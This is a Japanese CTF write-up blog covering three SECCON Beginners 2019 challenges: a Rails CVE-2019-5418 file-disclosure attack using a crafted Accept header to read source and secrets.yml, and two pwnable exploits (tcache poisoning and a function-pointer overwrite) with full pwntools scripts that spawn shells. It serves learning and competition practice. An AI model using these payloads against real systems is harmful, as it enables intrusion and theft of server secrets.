こちらも時間がなくて競技中は全く見れなかったので、まずは自力で調査してみます。サイトの作りや基本的な構造はkatsudonと同じはず。

まずはkatsudonの解法、/flag ページでもらえるクーポンなのかシリアルコードなのかわからに文字列をbase64 decodeしてみます。
/flagページに表示される文字列は下記。

bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ==

--の前・中・後が base64 encode されてそうだったので decode してみましたが、特に有力な情報は得られず。

指定のurlに飛んでいろいろつついてみる。今回は katsudon であった、各店舗のシリアルコードの表示もない。
top画面 (/storelists)

f:id:kusuwada:20190601175143p:plain

クーポン発行 (/coupon)

f:id:kusuwada:20190601175140p:plain

各画面のソースを見ていきますが、sytleが長いなー。という感想。。。
と思ったら、 /coupon 画面のソースに怪しいコメントを発見。

<!-- debug: app/controllers/coupon_controller.rb -->

ほほう。これって katsudon の問題で提供されたコードと同じ名前っぽいけど、katsudon 問題のソースを参照して良いのかな?

# app/controllers/coupon_controller.rb
class CouponController < ApplicationController
def index
end

def show
  serial_code = params[:serial_code]
  @coupon_id = Rails.application.message_verifier(:coupon).verify(serial_code)
  end
end

うーん、これだけではさっぱりわかりません。サイトにも入力フォームもcookieも無いので、とりあえず手がかりが無くなったっぽい。。。
もう一度katsudonのほうの問題文を読み返してみます。基本的にこの問題の情報はそのまま使って良いはず。

Rails 5.2.1で作られたサイトです。

そう言えばわざわざ rails の version が明記されていたんでした。
rails 5.2.1 脆弱性 とかでググってみます。もちろん対象versionの脆弱性はたくさん見つかるのですが、多くのサイトで取り上げられているやばめの脆弱性がありました。CVE-2019-5418 : File Content Disclosure in Action View です。

日本語の解説もいくつかありました。しかも詳細なやつ。PoCも紹介されています。

ディレクトリトラバーサルです。 render file: でファイルを表示している場合、細工されたヘッダを受け付けることで、サーバー上の任意のファイルがレンダリングされます。

結構な脆弱性です。
上記のペパポのサイトでは、PoCとして最終的に etc/passwd を読み出してみていました。

$ curl -v 'http://localhost:3000/ -H 'Accept: ../../../../../../../../../../../../../../../../../../etc/passwd{{'

こんな感じで読み出せちゃうんですね。凄い。。。
今回は、とりあえず上記の app/controllers/coupon_controller.rb (ご丁寧にappからのpathも書いてある)を読み出してみます。

$ curl 'https://katsudon-okawari.quals.beginners.seccon.jp/storelists' -H 'Accept: ../../../app/controllers/coupon_controller.rb{{'

pathの階層は面倒だったので適当に ../ の数を調整して何度か試しました(ノ≧ڡ≦)

class CouponController < ApplicationController
  def index
  end

  def show
    serial_code = params[:serial_code]
    msg_encryptor = ::ActiveSupport::MessageEncryptor.new(Rails.application.secrets[:secret_key_base][0..31], cipher: "aes-256-gcm")
    @coupon_id = msg_encryptor.encrypt_and_sign(serial_code)
  end
end

おや、katsudonの時にもらったコードとちょっと差分があります。この secret_key_base とかかなり怪しいです。
Railsのsecretsファイルのパスは config/secrets.yml.key とかなので、取れないか試してみます。

$ curl 'https://katsudon-okawari.quals.beginners.seccon.jp/storelists' -H 'Accept: ../../../config/secrets.yml{{'

まじか、一発でとれた。

# Be sure to restart your server when you modify this file.

# Your secret key is used for verifying the integrity of signed cookies.
# If you change this key, all old signed cookies will become invalid!

# Make sure the secret is at least 30 characters and all random,
# no regular words or you'll be exposed to dictionary attacks.
# You can use `rake secret` to generate a secure secret key.

# Make sure the secrets in this file are kept private
# if you're sharing your code publicly.

# Do not keep production secrets in the repository,
# instead read values from the environment.
production:
  secret_key_base: 4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34

あとは、flagのクーポンとsecret_key_baseを使って、クーポン生成コードの逆処理をやるとできそう。
rubyでやるかpythonでやるか悩みましたが、競技中だと変なミスを極力減らしたいと思うので、なるべく生成時と同じ環境・同じロジックを使うようrailsのconsoleを利用することにしました。

新しいPC (Mac) にrails環境を全く入れていなかったので、下記を参考に rails 環境を整えました。

新しくrail app を作り、そこで rails console で実行すればrails用のライブラリが使えます。

$ rails new testapp
$ cd testapp
$ rails console

railsのconsoleが立ち上がります。

secret_key_base = '4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34'
flag_coupon = 'bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ=='

msg_encryptor = ::ActiveSupport::MessageEncryptor.new(secret_key_base[0..31], cipher: "aes-256-gcm")
flag = msg_encryptor.decrypt_and_verify(flag_coupon)

とconsole上で実行していくと、flagが無事取れました!

> flag = msg_encryptor.decrypt_and_verify(flag_coupon)
=> "ctf4b{06a46a95f2078ae095470992cd02f419}"

個人的には、MeyasubakoよりもHimitsuよりもわかりやすかったから、やっぱりボスは本当はMeyasubakoだったのかな。

[Pwnable] BabyHeap

こちら、競技中のメモと、その後他のwrite-upを読みながらやってみた内容になっています。激参考にさせていただいたのは

なので、解説記事としては上記を参考したほうが良いかと思います!

nc 133.242.68.223 58396

入手したのは実行ファイル babyheaplibc-2.27.so
babyって言ってるので易しいのが出てきて、あわよくば解けるかなーと思ったんですけどね…。

$ file babyheap
babyheap: ELF 64-bit LSB pie executable x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=353667032c4e496b0bbd3621e4821b3bcc1272f6, not stripped
$ file libc-2.27.so 
libc-2.27.so: ELF 64-bit LSB pie executable x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/l, BuildID[sha1]=b417c0ba7cc5cf06d1d1bed6652cedb9253c60d0, for GNU/Linux 3.2.0, stripped

実行してみます。

$ ./babyheap 
Welcome to babyheap challenge!
Present for you!!
>>>>> 0x7f48ccff3a00 <<<<<

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 1
Input Content: test

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 2

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 1
No Space!!

MENU
1. Alloc
2. Delete
3. Wipe
0. Exit
> 2   
free(): double free detected in tcache 2
中止

最初にプレゼントと言われて何やらアドレスが渡されます。その後、別途allocしたりdeleteしたりできるようです。
処理をradare2で追ってみます。まずはmain関数。

/ (fcn) main 172
|   main (int argc, char **argv, char **envp);
|           ; var int local_ch @ rbp-0xc
|           ; var int local_8h @ rbp-0x8
|           ; DATA XREF from entry0 (0x88d)
|           0x000009ad      55             push rbp
|           0x000009ae      4889e5         mov rbp, rsp
|           0x000009b1      4883ec10       sub rsp, 0x10
|           0x000009b5      488b05741620.  mov rax, qword [obj.stdin__GLIBC_2.2.5] ; [0x202030:8]=0
|           0x000009bc      4889c6         mov rsi, rax
|           0x000009bf      488d3df20100.  lea rdi, qword str.Welcome_to_babyheap_challenge___Present_for_you___________p ; 0xbb8 ; "Welcome to babyheap challenge!\nPresent for you!!\n>>>>> %p <<<<<\n"
|           0x000009c6      b800000000     mov eax, 0
|           0x000009cb      e850feffff     call sym.imp.printf         ; int printf(const char *format)
|       ,=< 0x000009d0      eb72           jmp 0xa44
|       |   ; CODE XREF from main (0xa50)
|      .--> 0x000009d2      8b45f4         mov eax, dword [local_ch]
|      :|   0x000009d5      83f802         cmp eax, 2
|     ,===< 0x000009d8      7453           je 0xa2d
|     |:|   0x000009da      83f803         cmp eax, 3
|    ,====< 0x000009dd      745c           je 0xa3b
|    ||:|   0x000009df      83f801         cmp eax, 1
|   ,=====< 0x000009e2      7402           je 0x9e6
|  ,======< 0x000009e4      eb5e           jmp 0xa44
|  ||||:|   ; CODE XREF from main (0x9e2)
|  |`-----> 0x000009e6      48837df800     cmp qword [local_8h], 0
|  |,=====< 0x000009eb      740e           je 0x9fb
|  ||||:|   0x000009ed      488d3d050200.  lea rdi, qword str.No_Space ; 0xbf9 ; "No Space!!"
|  ||||:|   0x000009f4      e8e7fdffff     call sym.imp.puts           ; int puts(const char *s)
| ,=======< 0x000009f9      eb49           jmp 0xa44
| |||||:|   ; CODE XREF from main (0x9eb)
| ||`-----> 0x000009fb      bf30000000     mov edi, 0x30               ; '0'
| || ||:|   0x00000a00      e83bfeffff     call sym.imp.malloc         ;  void *malloc(size_t size)
| || ||:|   0x00000a05      488945f8       mov qword [local_8h], rax
| || ||:|   0x00000a09      488d3df40100.  lea rdi, qword str.Input_Content: ; 0xc04 ; "Input Content: "
| || ||:|   0x00000a10      b800000000     mov eax, 0
| || ||:|   0x00000a15      e806feffff     call sym.imp.printf         ; int printf(const char *format)
| || ||:|   0x00000a1a      488b45f8       mov rax, qword [local_8h]
| || ||:|   0x00000a1e      be30000000     mov esi, 0x30               ; '0'
| || ||:|   0x00000a23      4889c7         mov rdi, rax
| || ||:|   0x00000a26      e84a000000     call sym.getnline
| ||,=====< 0x00000a2b      eb17           jmp 0xa44
| |||||:|   ; CODE XREF from main (0x9d8)
| ||||`---> 0x00000a2d      488b45f8       mov rax, qword [local_8h]
| |||| :|   0x00000a31      4889c7         mov rdi, rax
| |||| :|   0x00000a34      e897fdffff     call sym.imp.free           ; void free(void *ptr)
| ||||,===< 0x00000a39      eb09           jmp 0xa44
| |||||:|   ; CODE XREF from main (0x9dd)
| |||`----> 0x00000a3b      48c745f80000.  mov qword [local_8h], 0
| ||| |:|   0x00000a43      90             nop
| ||| |:|   ; CODE XREFS from main (0x9d0, 0x9e4, 0x9f9, 0xa2b, 0xa39)
| ```-`-`-> 0x00000a44      e810000000     call sym.menu
|      :    0x00000a49      8945f4         mov dword [local_ch], eax
|      :    0x00000a4c      837df400       cmp dword [local_ch], 0
|      `==< 0x00000a50      7580           jne 0x9d2
|           0x00000a52      b800000000     mov eax, 0
|           0x00000a57      c9             leave
\           0x00000a58      c3             ret

下記の行を見る限り、最初にプレゼントしてくれるアドレスは stdin のアドレスのようです。

0x000009b5      488b05741620.  mov rax, qword [obj.stdin__GLIBC_2.2.5] ; [0x202030:8]=0

あとはlibcをもらっているので、libcのversionは2.27, 任意の関数の相対アドレスは配布されたlibcからわかるんだろうなー。と想像します。
想像したところで特に何も思いつかず、競技中はここで思考停止で終了しました。

上記で紹介した2つのリンク先に、解法や流れ・解説がとても詳しく載っていたので、こちらでは特に解説なしでコードだけ下の方に載せておきます。ライブラリはpwntoolのみを使っているので、環境が作りやすいはず。@ptr-yudai さんの記事のコードをほぼそのまま流用させていただきました。

下記、初心者すぎてわからなかったマジックナンバーなどの調べ方メモ。

one-gadgetというのが出てきたので調べました。こちらでちょっとお勉強。ふむふむ。

CTFひとり勉強会 Secret Holder (HITCON 2016 Quals) 後編 - ヾノ*>ㅅ<)ノシ帳

x86-64x86はダメ)のlibcに、 ある条件を満たしつつ、特定の箇所を実行するとexecve("/bin/sh", NULL, NULL)を実行してくれる親切なgadgetが存在します。

これはheap問題だとよく使うやつなのかな?この one-gadget のアドレスを特定するツールとして下記が紹介されていたので、これを使ってみます。ruby環境があればちゃっと使えそうです。

github.com

$ gem install one_gadget
$ one_gadget libc-2.27.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

なんだかとってもカラフルな出力だった。installから使い方までとっても簡単でよき。
さて、3つ候補が出てきましたがどれを使うんでしょう?それぞれシェルが起動される条件が異なるみたいです。(constraintsに書いてある)

One-gadgetの候補が十分少ないので、gdbで確かめながら絞り込むよりも、片っ端から試せばいいよねというのが僕の感想です。 結果を先に書くと、2、3試したらうまくいきました。

ということで、3つとも試してみてうまく行くのを探すのが良さそう。

疑問が解明したので、exploitコードを紹介記事のシーケンスのとおりに書いてみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-
# this code refers follow article.
#  https://ptr-yudai.hatenablog.com/entry/2019/05/26/150937

from pwn import *

host = '133.242.68.223'
port = 58396
one_gadget_addr = 0x4f322

baby = ELF('./babyheap')
libc = ELF('./libc-2.27.so')

def alloc(data):
    print(b'1. Alloc: ' + data)
    print(r.recvuntil(b'> '))
    r.sendline(b'1')
    r.recvuntil(b'Input Content: ')
    r.sendline(data)

def delete():
    print(b'2. Delete')
    print(r.recvuntil(b'> '))
    r.sendline(b'2')

def wipe():
    print(b'3. Wipe')
    print(r.recvuntil(b'> '))
    r.sendline(b'3')

r = remote(host, port)
r.recvuntil('>>>>> ')
stdin_addr = int(r.recvuntil(' <<<<<').split(b' ')[0], 16)
libc_base = stdin_addr - libc.symbols[b'_IO_2_1_stdin_']

# tcache poisoning
alloc(b'dummy')
delete()
delete()
wipe()
payload = p64(libc_base + libc.symbols[b'__free_hook'])
alloc(payload)
wipe()
alloc(b'dummy')
wipe()
alloc(p64(libc_base + one_gadget_addr))

# get the shell
delete()

r.interactive()

実行結果

$ python solve.py
[*] '.../babyheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '.../libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 133.242.68.223 on port 58396: Done
b'1. Alloc: dummy'
b'2. Delete'
b'2. Delete'
b'3. Wipe'
b'1. Alloc: \xe8\xa8\xd5\xf1f\x7f\x00\x00'
b'3. Wipe'
b'1. Alloc: dummy'
b'3. Wipe'
b'1. Alloc: "\xc3\x9b\xf1f\x7f\x00\x00'
b'2. Delete'
[*] Switching to interactive mode
$ ls
babyheap
flag.txt
$ cat flag.txt
ctf4b{h07b3d_0f_51mpl3_h34p_3xpl017}

Babyって言ってるし、この前初めてpicoCTFの復習でheap問題やってみたし、手を付けてみちゃったんですけど全然駄目でした。再度確認したら13チームしか解いてなかったですね。競技中に「よかった、ちゃんとbabyだった」と言う誰かのつぶやきを見て「ほほう?」と思ってたんですけど、プロから見たらbabyだったってことですかね。

ちなみに今回、write-upを見つつわからないところを調べつつ、だったのですが、下記サイトがheap系の知識として読むのに良かったです。本当は体系だってお勉強するのが一番なんでしょうけど、紹介まで。

[Pwnable] OneLine

この問題も競技中は全く見ませんでしたが、BabyHeapでちょっと調べた内容も使いそうだったので他の方のwrite-upも見つつやってみました。

nc 153.120.129.186 10000

配布されたファイルを解凍してみます。こちらも実行ファイルとlibcが入っていました。

$ ls
ace01bbd1b0165f0c0f43426d7716721_oneline.tar.gz
libc-2.27.so
oneline

動作確認。

$ ./oneline 
You can input text here!
>> test
test
�g
<�Once more again!
>> test
test

2回ほどユーザー入力を受け付けて、入力をそのまま出力してくれるようです。が、最後の方にちょろっと変な出力が…。

$ ./oneline 
You can input text here!
>> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa    
Segmentation fault

そして、ちょっと眺めの文字列を入れると、一回目で落ちちゃいました。何かありそう。
radare2でmain関数を見てみます。

            ;-- main:
/ (fcn) sym.main 182
|   sym.main (int argc, char **argv, char **envp);
|           ; var int local_ch @ rbp-0xc
|           ; var int local_8h @ rbp-0x8
|           ; DATA XREF from entry0 (0x73d)
|           0x0000086d      55             push rbp
|           0x0000086e      4889e5         mov rbp, rsp
|           0x00000871      4883ec10       sub rsp, 0x10
|           0x00000875      be01000000     mov esi, 1
|           0x0000087a      bf28000000     mov edi, 0x28               ; '('
|           0x0000087f      e87cfeffff     call sym.imp.calloc         ; void *calloc(size_t nmeb, size_t size)
|           0x00000884      488945f8       mov qword [local_8h], rax
|           0x00000888      488b45f8       mov rax, qword [local_8h]
|           0x0000088c      488b15450720.  mov rdx, qword [reloc.write] ; [0x200fd8:8]=0
|           0x00000893      48895020       mov qword [rax + 0x20], rdx
|           0x00000897      488d3d160100.  lea rdi, qword str.You_can_input_text_here ; 0x9b4 ; "You can input text here!\n>> "
|           0x0000089e      b800000000     mov eax, 0
|           0x000008a3      e838feffff     call sym.imp.printf         ; int printf(const char *format)
|           0x000008a8      488b45f8       mov rax, qword [local_8h]
|           0x000008ac      ba28000000     mov edx, 0x28               ; '('
|           0x000008b1      4889c6         mov rsi, rax
|           0x000008b4      bf00000000     mov edi, 0
|           0x000008b9      e832feffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x000008be      488b45f8       mov rax, qword [local_8h]
|           0x000008c2      488b4020       mov rax, qword [rax + 0x20] ; [0x20:8]=64 ; "@"
|           0x000008c6      488b4df8       mov rcx, qword [local_8h]
|           0x000008ca      ba28000000     mov edx, 0x28               ; '('
|           0x000008cf      4889ce         mov rsi, rcx
|           0x000008d2      bf01000000     mov edi, 1
|           0x000008d7      ffd0           call rax
|           0x000008d9      488d3df10000.  lea rdi, qword str.Once_more_again ; 0x9d1 ; "Once more again!\n>> "
|           0x000008e0      b800000000     mov eax, 0
|           0x000008e5      e8f6fdffff     call sym.imp.printf         ; int printf(const char *format)
|           0x000008ea      488b45f8       mov rax, qword [local_8h]
|           0x000008ee      ba28000000     mov edx, 0x28               ; '('
|           0x000008f3      4889c6         mov rsi, rax
|           0x000008f6      bf00000000     mov edi, 0
|           0x000008fb      e8f0fdffff     call sym.imp.read           ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00000900      8945f4         mov dword [local_ch], eax
|           0x00000903      488b45f8       mov rax, qword [local_8h]
|           0x00000907      488b4020       mov rax, qword [rax + 0x20] ; [0x20:8]=64 ; "@"
|           0x0000090b      8b55f4         mov edx, dword [local_ch]
|           0x0000090e      488b4df8       mov rcx, qword [local_8h]
|           0x00000912      4889ce         mov rsi, rcx
|           0x00000915      bf01000000     mov edi, 1
|           0x0000091a      ffd0           call rax
|           0x0000091c      b800000000     mov eax, 0
|           0x00000921      c9             leave
\           0x00000922      c3             ret

よくわからない処理があります。

|           0x0000088c      488b15450720.  mov rdx, qword [reloc.write] ; [0x200fd8:8]=0
|           0x00000893      48895020       mov qword [rax + 0x20], rdx

ここでwrite関数のポインタをstack上に書き出してくれているようです。
入力→出力は、0x28バイト読み込んで出力してくれ、このwrite関数のアドレスは終わり0x8バイト (0x20~) に書かれているようなので、上書きしなければ最後にwrite関数のアドレスが出力されそう。
試しに空の文字列を一発目に送ってみます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = '153.120.129.186'
port = 10000

r = remote(host, port)
print(r.recvuntil(b'>> '))
r.sendline(b'')
res = r.recv()
print(b'response: ' + res)
print(b'0x20-0x28: ' + res[0x20:0x28])
print('write_addr: ' + hex(u64(res[0x20:0x28])))

実行結果(抜粋)

b'You can input text here!\n>> '
b'response: \n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@a\x01\xea/\x7f\x00\x00'
b'0x20-0x28: @a\x01\xea/\x7f\x00\x00'
write_addr: 0x7f2fea016140

想定通りのresponseが返ってきてそう!write関数のアドレスが入手できたので、ここから libc base のアドレスが計算できます。

0x000008d7      ffd0           call rax
...
0x0000091a      ffd0           call rax

また、2回の入力とも、最後に入力時の 0x20-0x28 バイトに書かれたアドレスを実行しています。
入力時にwrite関数のアドレス部分を上書きしていなければ、write関数が実行されるんですね。だからちょっと長めの適当な文字列を突っ込むと、このwrite関数のアドレスが変に上書き→実行され、SegmentationFaultで落ちちゃったってことですね。

ということは、1回目の入力でwrite関数のアドレスを入手、libc base のアドレスがわかるので、任意の関数のアドレスを計算。2回目の入力時に最後に任意の関数のアドレスをくっつけて実行してもらう、というのが良さそう。
ここで、2回目の時に BabyHeap の時に利用した one-gadget を利用してshellを起動させます。
BabyHeapのとき導入した GitHub - david942j/one_gadget: The best tool for finding one gadget RCE in libc.so.6 で one-gadgetを探してみます。

$ one_gadget libc-2.27.so 
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

配布されたlibcのバージョンが同じだったからか、結果はBabyHeapのときと同じになりました。
あとはこのアドレスを、2回目のinput時の最後8バイト部分に書き込むだけ。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = '153.120.129.186'
port = 10000

baby = ELF('./oneline')
libc = ELF('./libc-2.27.so')

one_gadget_addr = 0x4f322

r = remote(host, port)
print(r.recvuntil(b'>> '))
r.sendline(b'')
write_addr = u64(r.recv()[0x20:0x28])
print('write address: ' + str(write_addr))
libc_base = write_addr - libc.symbols[b'write']

r.recvuntil(b'>> ')
payload = b'a' * 0x20
payload += p64(libc_base + one_gadget_addr)
r.sendline(payload)

r.interactive()

実行結果

$ python solve.py 
[*] '.../oneline'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '.../libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 153.120.129.186 on port 10000: Done
b'You can input text here!\n>> '
write address: 139773157900608
[*] Switching to interactive mode
$ ls
flag.txt
oneline
$ cat flag.txt
ctf4b{0v3rwr!t3_Func7!on_p0int3r}

ちなみに、 one-gaedget は 0x10a38c でもいけました。

感想など

沢山の方のwrite-upや作問者の解説を参考にさせていただきました。ありがとうございました!やはり実際に手を動かして、他の方の解き方をなぞるだけでも、かなり理解が深まりますね。(読むだけでは全く頭に入ってこないポンコツだからという話もある)
最近はpicoCTFの復習をメインにやっていましたが、picoCTFの最後の方の問題の難易度と同じくらいなイメージでした。次はもう少し点の高い問題も解けると良いなぁ。

実はあと2問残っていますが、あと2日で出産のため入院 → 問題サーバー落ちる予定なので諦めました。ちょっと手はつけてみたのですが、私の理解度ではとっても時間がかかりそうだったので…。

  • [Reversing] SecconPass
  • [Pwnable] memo

いやー、でもやっぱ競技中(24時間?)に一人チームで全完とか、本当に凄いですね!
来年も、フルタイムとは言わないので、少しでもリアルタイムで参加できると良いな(◍•ᴗ•◍)